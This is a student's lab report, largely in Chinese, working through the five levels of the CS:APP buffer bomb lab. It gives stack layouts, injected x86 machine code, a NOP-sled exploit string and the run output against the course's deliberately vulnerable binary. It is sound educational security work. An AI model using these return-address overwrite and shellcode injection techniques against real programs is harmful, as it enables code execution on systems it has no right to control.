**Lab Report on Lab 3 the Buffer Bomb**

16307130194 陈中钰

Contents

1. Preparation 2
2. Level 0: Candle 2
3. Level 1: Sparkler 3
4. Level 2: Firecracker 4
5. Level 3: Dynamite 5
6. Level 4: Nitroglycerin 6
7. Thoughts 8
8. **Preparation**
   1. make cookie

chenzhongyu@ubuntu:~/Desktop/lab3$ ./makecookie 16307130194

0x759069aa

* 1. 反汇编

chenzhongyu@ubuntu:~/Desktop/lab3$ objdump -d bufbomb > bufbomb.txt

* 1. Linux：Little Endian

1. **Level 0: Candle**
   1. 总体思想

修改return address，返回到<smoke>开头地址。

* 1. 分析过程

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| return address | 74 | 91 | 04 | 08 |
| %ebp | EE | EE | EE | EE |
| %ebp-0x4 | EE | EE | EE | EE |
| …… |  |  |  |  |
| %ebp-0x28 | EE | EE | EE | EE |
|  |  |  |  |  |
| …… |  |  |  |  |
|  |  |  |  |  |
| %ebp-0x38, %esp | %ebp-0x28 | | | |

push %ebp

mov %esp,%ebp

sub $0x38,%esp

lea -0x28(%ebp),%eax

mov %eax,(%esp)

call 8048bf1 <Gets>

mov $0x1,%eax

leave

ret

阅读<getbuf>，要使<getbuf>返回后执行<smoke>，则要把它的返回值改成<smoke>的开始地址0x08049174。调用<Gets>前，把%ebp-0x28作为参数传入函数，那么exploit string以%ebp-0x28开头。当string超过40 Byte时，多余部分会覆盖%ebp，还可能进而覆盖return address。那么在return address前添上44 Byte非结束符（在这里统一取了0xEE），作为string，当读取到ret指令时，会跳转到<smoke>。

* 1. 运行结果

chenzhongyu@ubuntu:~/Desktop/lab3$ ./hex2raw < level0.txt | ./bufbomb -u 16307130194

Userid: 16307130194

Cookie: 0x759069aa

Type string:Smoke!: You called smoke()

VALID

NICE JOB!

1. **Level 1: Sparkler**
   1. 总体思想

修改return address，返回到<fizz>开头地址，并把<fizz>调用参数修改为cookie。

* 1. 分析过程

把<getbuf>的返回值修改为<fizz>的开始地址0x08049129。再看<fizz>，gdb查0x804b1c4中的值，发现是输入的cookie字符串，进一步验证了要把<fizz>调用的参数和cookie比较。

|  |  |
| --- | --- |
| push %ebp  mov %esp,%ebp  sub $0x18,%esp  mov 0x8(%ebp),%eax  cmp 0x804b1c4,%eax  jne 8049158 <fizz+0x2f> | (gdb) print (char \*) 0x804b1c4  $4 = 0x804b1c4 <cookie> "" |

<getbuf>返回时，跳转到<fizz>，再push进%ebp（旧return address处），并把%ebp+0x8（旧%ebp+0xc处）中的值和cookie比较，相等时触发bomb。那么还要把%ebp+0x8（旧%ebp+0xc处）中的值改为cookie，有效攻击代码前用非结束符填充。

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| %ebp+0xc | AA | 69 | 90 | 75 | 被用于与cookie比较的值 | |
|  | EE | EE | EE | EE |  |  |
| return address | 29 | 91 | 04 | 08 | ->pop to | %eip |
| %ebp | EE | EE | EE | EE | 跳转到<fizz> | |
| %ebp-0x4 | EE | EE | EE | EE |  |  |
| …… |  |  |  |  |  |  |
| %ebp-0x28 | EE | EE | EE | EE |  |  |
| …… |  |  |  |  |  |  |
| %esp / %ebp-0x38 | %ebp-0x28 | | | |  |  |

**同一个位置**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| %ebp+0x8(new) | AA | 69 | 90 | 75 | 被用于与cookie比较的值 | |
|  | EE | EE | EE | EE |  |  |
| %ebp(new) |  |  |  |  | <-push in | %ebp(new) |

* 1. 运行结果

chenzhongyu@ubuntu:~/Desktop/lab3$ ./hex2raw < level1.txt | ./bufbomb -u 16307130194

Userid: 16307130194

Cookie: 0x759069aa

Type string:Fizz!: You called fizz(0x759069aa)

VALID

NICE JOB!

1. **Level 2: Firecracker**
   1. 总体思路

更改global\_value的值为cookie，再跳转到<bang>开头地址。前面的方式只能熊啊该stack中某个位置的值、跳转到某个地址，并不能实现更改全局变量global\_value、跳转到<bang>两个操作。故考虑更改return address，跳转到string开头，依次执行这两个操作。那么还需在string中输入这两个操作的machine code。

* 1. 分析过程

|  |  |
| --- | --- |
| mov 0x804b1cc,%eax  cmp 0x804b1c4,%eax  jne 804910d <bang+0x31> | (gdb) print (char \*) 0x804b1cc  $1 = 0x804b1cc <global\_value> ""  (gdb) print (char \*) 0x804b1c4  $2 = 0x804b1c4 <cookie> "" |

首先查找global\_value的储存地方。<bang>中比较了0x804b1cc和0x804b1c4中的值，gdb查找其中的值，发现分别是global\_value和cookie。那么可通过movl把0x804b1cc处的global\_value改为cookie。接下来查找string开头%ebp-0x28的地址。

Breakpoint 1, 0x08048caa in getbuf ()

(gdb) x $ebp-0x28

0x55683378 <\_reserved+1037176>: 0x00000000

最后还要push进<bang>开头地址0x080490dc，并ret。综上，可以写出如下assembly code，并assemble和disassemble，获得如下machine code。string开头为如下machine code，结尾为string开头地址，覆盖return address，中间用非结束符（这里统一取0x00）填充。

|  |  |
| --- | --- |
| movl $0x759069aa,%eax  movl %eax,0x804b1cc  push $0x080490dc  ret | 00000000 <.text>:  0: b8 aa 69 90 75 mov $0x759069aa,%eax  5: a3 cc b1 04 08 mov %eax,0x804b1cc  a: 68 dc 90 04 08 push $0x80490dc  f: c3 ret |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| return address | 78 | 33 | 68 | 55 | 跳转到string开头 |
| %ebp | 00 | 00 | 00 | 00 |  |
| %ebp-0x4 | 00 | 00 | 00 | 00 |  |
| …… |  |  |  |  |  |
|  | 00 | 00 | 00 | 00 |  |
|  | 90 | 04 | 08 | C3 | return跳转到<bang> |
|  | 04 | 08 | 68 | DC | 压入<bang>的开始地址 |
|  | 75 | A3 | CC | B1 |  |
| %ebp-0x28 | B8 | AA | 69 | 90 | 修改global\_value |
| …… |  |  |  |  |  |
| %esp / %ebp-0x38 | %ebp-0x28 | | | |  |

* 1. 运行结果

chenzhongyu@ubuntu:~/Desktop/lab3$ ./hex2raw < level2.txt | ./bufbomb -u 16307130194

Userid: 16307130194

Cookie: 0x759069aa

Type string:Bang!: You set global\_value to 0x759069aa

VALID

NICE JOB!

1. **Level 3: Dynamite**
   1. 总体思想

修改return address，跳转到string开头，把<getbuf>在%eax中的返回值改为cookie，把为了修改return address被覆盖掉的%ebp还原，最后跳转到<test>中调用<getbuf>的下一个语句。

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| return address | 78 | 33 | 68 | 55 | 跳转到string开头 |
| %ebp | 00 | 00 | 00 | 00 |  |
| %ebp-0x4 | 00 | 00 | 00 | 00 |  |
|  | 00 | 00 | 00 | 00 |  |
| …… |  |  |  |  |  |
|  | 00 | 00 | 00 | 00 |  |
|  | 8D | 04 | 08 | C3 | return跳转回<test> |
|  | 68 | 55 | 68 | 39 | 压入<test>中对应地址 |
|  | 75 | BD | D0 | 33 | 还原%ebp |
| %ebp-0x28 | B8 | AA | 69 | 90 | 修改%eax |
|  |  |  |  |  |  |
| …… |  |  |  |  |  |
|  |  |  |  |  |  |
| %esp / %ebp-0x38 | %ebp-0x28 | | | |  |

* 1. 分析过程

gdb运行，在<getbuf>开头设置断点，查找%ebp的值和string开头地址，

(gdb) x $ebp

0x556833a0 <\_reserved+1037216>: 0x556833d0

(gdb) x $ebp-0x28

0x55683378 <\_reserved+1037176>: 0x00000000

用string开头地址覆盖return address，使其跳转到string的开头，movl修改%eax、还原%ebp，并返回到<test>中下一个命令的地址0x08048d39。可以写出如下assembly code，并获得machine code。string开头为如下machine code，结尾为跳转到string开头的地址，中间补上非结束符（这里用了0x00）。

|  |  |
| --- | --- |
| movl $0x759069aa,%eax  movl $0x556833d0,%ebp  push $0x08048d39  ret | 00000000 <.text>:  0: b8 aa 69 90 75 mov $0x759069aa,%eax  5: bd d0 33 68 55 mov $0x556833d0,%ebp  a: 68 39 8d 04 08 push $0x8048d39  f: c3 ret |

* 1. 运行结果

chenzhongyu@ubuntu:~/Desktop/lab3$ ./hex2raw < level3.txt | ./bufbomb -u 16307130194

Userid: 16307130194

Cookie: 0x759069aa

Type string:Boom!: getbuf returned 0x759069aa

VALID

NICE JOB!

1. **Level 4: Nitroglycerin**
   1. 总体思路

修改return address(%ebp+0x4)为string的某个位置的地址，然后跳转到该位置，修改%eax中的返回值为cookie，恢复%ebp，最后要模仿ret，跳转到<testn>中调用<getbufn>的下一行命令。

* 1. 分析过程
     1. 修改return address

|  |  |
| --- | --- |
| push %ebp  mov %esp,%ebp  sub $0x218,%esp  lea -0x208(%ebp),%eax  mov %eax,(%esp)  call 8048bf1 <Gets>  mov $0x1,%eax  leave  ret | call 8048990 <srandom@plt>  call 8048880 <random@plt> |

查看<getbufn>和<main>，可见程序使用了栈随机化的操作，导致%ebp的地址不固定，也就使string的开头位置%ebp-0x208不固定。而当string开头在不同处时，跳转到该地址后，都必须要能执行到需执行的代码。那么可以采用nop sled的方法，在实际攻击代码前插入很长的一段nop（0x90），无论string在何处，只要能跳转到string中，就能slide到实际攻击代码。接下来要估计string的位置可能的变化范围，以确定有效return address。

gdb调试，在<getbufn>设置断点，多次运行查找%ebp-0x208的地址，发现它的值可能是以下5个值之一。那么保证能在string中，而且在实际攻击代码（长度为0x10）前的地址，应在0x55683208 ~ 0x55683128+0x208-0x10=0x55683320。那么可以取0x55683208作为return address。

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Order | 1 | 2 | 3 | 4 | 5 |
| %ebp-0x208 | 0x55683198 | 0x55683208 | 0x55683158 | 0x55683178 | 0x55683128 |

* + 1. 修改%eax的值为cookie

movl直接修改。

* + 1. 还原<getbufn>中被覆盖的%ebp的值

%ebp中的值并不固定，故不能像之前一样，通过movl原值还原%ebp。而且，由于stack不稳定，stack中其他的地址和值也是不固定的，那么也就没有办法从其他地方找到%ebp的值了。那么查看<getbufn>，分析stack的变化，试图通过位置的相对关系找出%ebp的值。

|  |  |
| --- | --- |
| leave –>  movl %ebp, %esp  pop %ebp | <testn> build stack ->  push %ebp  mov %esp,%ebp  push %ebx  sub $0x24,%esp |

发现在ret前有leave指令，也就是说，在<getbufn>返回到<testn>前，进行了消栈的操作，最后%esp回到了<testn>调用<getbufn>前时%esp的原位置。查看<testn>的建栈操，需要还原的%ebp是<getbufn>中的，它所存的值为旧的%ebp地址，也就是<testn>中的%ebp地址。可以看到，虽然%esp和%ebp的地址都会变化，但是它们地址之间差值是固定的，push操作使%esp下移0x4，sub使其再下移0x24，那么%esp=%ebp-0x28，则有%ebp=%esp+0x28，据此可以leal获得<testn>的%ebp地址，也就是<getbufn>中%ebp的值。

* + 1. 返回到<testn>

<testn>调用<getbufn>的下一个语句地址为0x8048ccf，则push进该地址后ret。

* + 1. 形成machine code

需要覆盖的范围是%ebp-0x208 ~ %ebp+0x8，共0x208+0x8=528 Byte。综上，获得machine code，并在前面添上足够的0x90(nop)，在后面添上return address，作为string，可以得到level4.txt中的结果。

|  |  |
| --- | --- |
| movl $0x759069aa,%eax  leal 0x28(%esp),%ebp  push $0x8048ccf  ret | 00000000 <.text>:  0: b8 aa 69 90 75 mov $0x759069aa,%eax  5: 8d 6c 24 28 lea 0x28(%esp),%ebp  9: 68 cf 8c 04 08 push $0x8048ccf  e: c3 ret |

* 1. 结果

chenzhongyu@ubuntu:~/Desktop/lab3$ cat level4.txt | ./hex2raw -n | ./bufbomb -n -u 16307130194

Userid: 16307130194

Cookie: 0x759069aa

Type string:KABOOM!: getbufn returned 0x759069aa

Keep going

Type string:KABOOM!: getbufn returned 0x759069aa

Keep going

Type string:KABOOM!: getbufn returned 0x759069aa

Keep going

Type string:KABOOM!: getbufn returned 0x759069aa

Keep going

Type string:KABOOM!: getbufn returned 0x759069aa

VALID

NICE JOB!

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| return address | 08 | 32 | 68 | 55 | 跳转到string中 |
| %ebp | 90 | 90 | 90 | 90 |  |
| %ebp-0x4 | 8C | 04 | 08 | C3 | return跳转回<testn> |
|  | 24 | 28 | 68 | CF | 压入<testn>中对应地址 |
|  | 90 | 75 | 8D | 6C | 还原%ebp |
| %ebp-0x10 | 90 | B8 | AA | 69 | 修改%eax |
| …… |  |  |  |  |  |
|  | 90 | 90 | 90 | 90 |  |
| …… |  |  |  |  |  |
|  | 90 | 90 | 90 | 90 | **Slide** |
| …… |  |  |  |  |  |
|  | 90 | 90 | 90 | 90 |  |
| …… |  |  |  |  |  |
| %ebp-0x208 | 90 | 90 | 90 | 90 |  |
|  |  |  |  |  |  |
| …… |  |  |  |  |  |
|  |  |  |  |  |  |
| %esp / %ebp-0x218 | %ebp-0x208 | | | |  |

**0x55683208**

**(0x55683208~0x55683320)**

1. Thoughts
   1. 深刻了解了buffer overflow attacks的机制；
   2. 了解到get()函数没有越界检查的安全漏洞，知道通过使用gets()函数可以插入exploit string，越界引用内存来实现buffer overflow attacks；
   3. 了解了stack randomization，stack protector和限制可执行代码区域等对抗buffer overflow attacks的机制；
   4. 懂得在编写代码的过程中注意避免产生buffer overflow attacks的漏洞。